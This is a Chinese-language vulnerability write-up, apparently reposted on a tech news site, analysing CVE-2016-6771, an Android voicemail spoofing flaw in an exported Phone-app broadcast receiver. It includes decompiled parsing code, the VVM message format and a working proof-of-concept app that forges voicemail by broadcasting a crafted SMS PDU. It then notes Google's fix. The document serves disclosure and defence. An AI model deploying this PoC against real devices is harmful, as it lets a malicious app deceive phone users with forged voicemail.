CVE-2016-6771: Android 语音信箱伪造漏洞分析
谷歌近期对外公布了12月份的安全公告,其中包含腾讯安全平台部终端安全团队提交的语音信箱伪造漏洞(CVE-2016-6771),该漏洞可导致恶意应用进行伪造语音信箱攻击。目前谷歌已经发布补丁,本文将对该漏洞进行分析。
漏洞概述
Phone应用中存在一处未受保护的暴露组件com.android.phone.vvm.omtp.sms.OmtpMessageReceiver,该组件接收来自外部的Intent,解析承载的VVM协议,构造语音信箱。该漏洞可以被本地恶意应用触发,进行伪造语音信箱攻击。该漏洞属于比较常规的暴露组件问题。
漏洞详情
在对AOSP中系统应用进行分析时,发现系统应用TeleService.apk(com.android.phone)存在一处暴露组件,该组件为com.android.phone.vvm.omtp.sms.OmtpMessageReceiver。根据组件名字应该是处理某类消息的组件,回想起以前谷歌出现的短信伪造漏洞,于是决定尝试进行分析,看是否存在该类漏洞。
由于该组件是一个广播接收者,于是分析onReceive回调函数处理逻辑,代码如下:
public void onReceive(Contextcontext, Intentintent) { this.mContext = context; this.mPhoneAccount = PhoneUtils.makePstnPhoneAccountHandle(intent.getExtras().getInt("phone")); if(this.mPhoneAccount == null) { Log.w("OmtpMessageReceiver", "Received message for null phone account"); return; } if(!VisualVoicemailSettingsUtil.isVisualVoicemailEnabled(this.mContext, this.mPhoneAccount)) { Log.v("OmtpMessageReceiver", "Received vvm message for disabled vvm source."); return; } //开始解析intent,将intent承载的额外数据还原为SmsMessage(短信消息) SmsMessage[] v5 = Telephony$Sms$Intents.getMessagesFromIntent(intent); StringBuilderv3 = new StringBuilder(); int v0; //把短信消息的body提取出来并合并 for(v0 = 0; v0 < v5.length; ++v0) { if(v5[v0].mWrappedSmsMessage != null) { v3.append(v5[v0].getMessageBody()); } } //通过OmtpSmsParser.parse对短息消息的body(vvm协议)进行解析封装到对应处理类 WrappedMessageDatav4 = OmtpSmsParser.parse(v3.toString()); //根据不同的协议执行不同功能 if(v4 != null) { if(v4.getPrefix() == "//VVM:SYNC:") { SyncMessagev2 = new SyncMessage(v4); Log.v("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent()); LocalLogHelper.log("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent()); this.processSync(v2); } else if(v4.getPrefix() == "//VVM:STATUS:") { Log.v("OmtpMessageReceiver", "Received STATUS sms for " + this.mPhoneAccount.getId()); LocalLogHelper.log("OmtpMessageReceiver", "Received Status sms for " + this.mPhoneAccount.getId()); this.updateSource(new StatusMessage(v4)); } else { Log.e("OmtpMessageReceiver", "This should never have happened"); } } }
1.当intent承载的额外数据phone为存在的PhoneAccount且isVisualVoicemailEnabled的时候,会进入vvm协议的解析流程;
2.解析流程中首先通过Telephony$Sms$Intents.getMessagesFromIntent,把intent里承载的额外数据构造成SmsMessage,通过查看对应处理方法,可以知道intent承载的额外数据可以是3gpp短信消息结构;
public static SmsMessage[] getMessagesFromIntent(Intentintent) { Object[] messages; try { //提取pdus原始数据 messages = (Object[]) intent.getSerializableExtra("pdus"); } catch (ClassCastException e) { Rlog.e(TAG, "getMessagesFromIntent: " + e); return null; } if (messages == null) { Rlog.e(TAG, "pdus does not exist in the intent"); return null; } //获取短消息格式类型 String format = intent.getStringExtra("format"); int subId = intent.getIntExtra(PhoneConstants.SUBSCRIPTION_KEY, SubscriptionManager.getDefaultSmsSubscriptionId()); Rlog.v(TAG, " getMessagesFromIntent sub_id : " + subId); int pduCount = messages.length; SmsMessage[] msgs = new SmsMessage[pduCount]; //构造短信消息 for (int i = 0; i < pduCount; i++) { byte[] pdu = (byte[]) messages[i]; msgs[i] = SmsMessage.createFromPdu(pdu, format); msgs[i].setSubId(subId); } return msgs; }
3.从短信消息结构中提取出body部分,交由OmtpSmsParser.parse解析,流程如下:
package com.android.phone.vvm.omtp.sms; import android.util.ArrayMap; import android.util.Log; import java.util.Map; public class OmtpSmsParser { private static String TAG; static { OmtpSmsParser.TAG = "OmtpSmsParser"; } public OmtpSmsParser() { super(); } public static WrappedMessageDataparse(String smsBody) { WrappedMessageDatav4 = null; if(smsBody == null) { return v4; } WrappedMessageDatav0 = null; //短息消息需要满足前缀 if(smsBody.startsWith("//VVM:SYNC:")) { v0 = new WrappedMessageData("//VVM:SYNC:", OmtpSmsParser.parseSmsBody(smsBody.substring( "//VVM:SYNC:".length()))); if(v0.extractString("ev") == null) { Log.e(OmtpSmsParser.TAG, "Missing mandatory field: ev"); return v4; } } else if(smsBody.startsWith("//VVM:STATUS:")) { v0 = new WrappedMessageData("//VVM:STATUS:", OmtpSmsParser.parseSmsBody(smsBody.substring( "//VVM:STATUS:".length()))); } return v0; } //前缀之后需要满足的消息结构 private static MapparseSmsBody(String message) { ArrayMapv3 = new ArrayMap(); String[] v0 = message.split(";"); int v6 = v0.length; int v4; for(v4 = 0; v4 < v6; ++v4) { String[] v2 = v0[v4].split("="); if(v2.length == 2) { ((Map)v3).put(v2[0].trim(), v2[1].trim()); } } return ((Map)v3); } }
通过分析解析流程,可以知道vvm协议由//VVM:STATUS或者//VVM:SYNC开头,后面有多个字段,由“;”分号作为分割,“=”等号作为键值对,通过分析StatusMessage(v4),SyncMessage(v4)的构造函数
public SyncMessage(WrappedMessageDatawrappedData) { super(); this.mSyncTriggerEvent = wrappedData.extractString("ev"); this.mMessageId = wrappedData.extractString("id"); this.mMessageLength = wrappedData.extractInteger("l"); this.mContentType = wrappedData.extractString("t"); this.mSender = wrappedData.extractString("s"); this.mNewMessageCount = wrappedData.extractInteger("c"); this.mMsgTimeMillis = wrappedData.extractTime("dt"); } public StatusMessage(WrappedMessageDatawrappedData) { super(); this.mProvisioningStatus = wrappedData.extractString("st"); this.mStatusReturnCode = wrappedData.extractString("rc"); this.mSubscriptionUrl = wrappedData.extractString("rs"); this.mServerAddress = wrappedData.extractString("srv"); this.mTuiAccessNumber = wrappedData.extractString("tui"); this.mClientSmsDestinationNumber = wrappedData.extractString("dn"); this.mImapPort = wrappedData.extractString("ipt"); this.mImapUserName = wrappedData.extractString("u"); this.mImapPassword = wrappedData.extractString("pw"); this.mSmtpPort = wrappedData.extractString("spt"); this.mSmtpUserName = wrappedData.extractString("smtp_u"); this.mSmtpPassword = wrappedData.extractString("smtp_pw"); }
可以知道,程序要解析vvm协议如下:
//VVM:STATUS:st=xxx;rc=0;rs=xxx;srv=xxx;tui=xxx;dn=xxx;ipt=xxx;u=xxx;pw=xxx;spt=xxx;smtp_u=xxx;smtp_pw=xxx
//VVM:SYNC:ev=xxx;id=xxx;l=xxx;t=xxx;s=xxx;c=xxx;dt=xxx;srv=xxx;ipt=xxx;u=xxx;pw=xxx
4.根据vvm协议,构造不同的数据结构,最后根据不同的协议执行不同的流程。
5.在测试过程中,发现//VVM:SYNC可以指定来源,伪造任意号码。而如果要在进入可视化语音邮箱界面,点击播放语音时能够产生语音的下载,需要事先有//VVM:STATUS协议,这样在点击播放时才会去对应的服务器进行账号登录,获取数据(具体的测试本人并深入去测试,如有错误望大家指正),相关vvm协议可以参考资料[1]和[2]。
POC如下 :
构造一个短信消息结构,其中body为符合相关解析流程的//VVM协议,就可以让OmtpMessageReceiver根据外部intent承载的额外数据构造伪造的语音信箱。其中,较早版本的Android系统曾经出现过伪造短信的漏洞,直接利用那段代码[3],构造短信消息可以。
@Override protected void onCreate(BundlesavedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); statusButton = (Button) findViewById(R.id.status_btn); syncButton = (Button) findViewById(R.id.sync_btn); statusButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(Viewview) { //VVM:STATUS消息 createFakeSms(MainActivity.this, "100000", "//VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9"); } }); syncButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(Viewview) { //VVM:SYNC消息 createFakeSms(MainActivity.this, "100000", "//VVM:SYNC:ev=NM;c=1;t=v;s=12345678;dt=09/16/2016 10:53 -0400;l=7;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;"); } }); } //构造短信消息 private static void createFakeSms(Contextcontext, String sender, String body) { byte[] pdu = null; byte[] scBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD("0000000000"); byte[] senderBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD(sender); int lsmcs = scBytes.length; byte[] dateBytes = new byte[7]; Calendarcalendar = new GregorianCalendar(); dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR))); dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1)); dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH))); dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY))); dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE))); dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND))); dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15))); try { ByteArrayOutputStreambo = new ByteArrayOutputStream(); bo.write(lsmcs); bo.write(scBytes); bo.write(0x04); bo.write((byte) sender.length()); bo.write(senderBytes); bo.write(0x00); bo.write(0x00); // encoding: 0 for default 7bit bo.write(dateBytes); try { String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet"; Class cReflectedNFCExtras = Class.forName(sReflectedClassName); MethodstringToGsm7BitPacked = cReflectedNFCExtras.getMethod( "stringToGsm7BitPacked", new Class[] { String.class }); stringToGsm7BitPacked.setAccessible(true); byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body); bo.write(bodybytes); } catch (Exception e) { } pdu = bo.toByteArray(); } catch (IOException e) { } //构造待发送的intent Intentintent = new Intent(); intent.setClassName("com.android.phone", "com.android.phone.vvm.omtp.sms.OmtpMessageReceiver"); intent.putExtra("phone",0); intent.putExtra("pdus", new Object[] { pdu }); intent.putExtra("format", "3gpp"); context.sendBroadcast(intent); } private static byte reverseByte(byte b) { return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) <<4); }
实际效果
可以伪造语音信箱来源为12345678,欺骗用户
修复方案
谷歌的修复方案是设置该组件为不导出
文章转载自 开源中国社区 [http://www.oschina.net]
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
苹果工程师揭露 iOS 不支持 Flash 的真正原因
苹果与 Adobe 之间关于 iPhone 是否支持 Flash 曾经有过激烈的公开争论,这件事情似乎已经过去很多年了。Adobe 当时回应苹果这是反竞争行为,而苹果方面则表示,Flash 是安全噩梦,存在很多性能和安全问题。 苹果和 Adobe 关于 Flash 的争论在2010年达到了顶峰,当时的苹果 CEO 乔布斯发表了一篇1700字的 “Thoughts on Flash”一文,详细解释了 iPhone、iPod touch 和 iPad 不支持 Flash 的原因。乔布斯称 Flash 是封闭、私有,有重大技术缺陷的,并且不支持触摸设备,可靠性、安全性、性能也有问题,影响电池寿命等等。 随后,由于 Flash 进入 Android 并未出现直接相关的问题,很多人认为苹果像瘟疫一样避开 Flash 是一个太过于精明的决定。 即便如此,来自苹果公司的前软件开发经理 Bob Burrough 的一系列推文显示,苹果在2008年实际上已经在 iPhone 上测试 Flash。同时,Burrough 还表示乔布斯后来强烈拒绝 Flash 可能较少的是出于安全考虑,更多的是作为合作伙伴,...
- 下一篇
iOS 多线程—GCD 基本用法
什么是进程? 最通俗的描述就是一个个pid,官方的说法:进程是程序在计算机上的一次执行活动。打开一个app 就开启了一个进程。可包含多个线程。 什么是线程? 独立执行的代码段,一个线程同一时间内只能执行一个任务,反之多线程并发就可以在同一时间执行多个任务。 同步和异步 一个同步函数只在完成了预定任务后才返回。会阻塞当前线程。异步时任务开启会立即返回,不阻塞当前线程去执行下一个函数。异步会开启其他线程。 串行和并发 串行:任务按先后顺序逐个执行。并发:后面的任务不会等前面的任务完成了再执行,同样会遵循先添加先执行的原则,但添加间隔往往忽略不计。所以看上去像是一起执行。 并发与并行 并发和并行通常被一起提到,所以值得花些时间解释它们之间的区别。 并发代码的不同部分可以“同步”执行。然而,该怎样发生或是否发生都取决于系统。多核设备通过并行来同时执行多个线程;然而,为了使单核设备也能实现这一点,它们必须先运行一个线程,执行一个上下文切换,然后运行另一个线程或进程。这通常发生地足够快以致给我们并发执行地错觉,如下图所示: 虽然你可以编写代码在 GCD 下并发执行,但 GCD 会决定有多少并行的需...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Docker安装Oracle12C,快速搭建Oracle学习环境
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS6,CentOS7官方镜像安装Oracle11G
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- CentOS关闭SELinux安全模块
- CentOS7编译安装Gcc9.2.0,解决mysql等软件编译问题
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- Hadoop3单机部署,实现最简伪集群
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- Eclipse初始化配置,告别卡顿、闪退、编译时间过长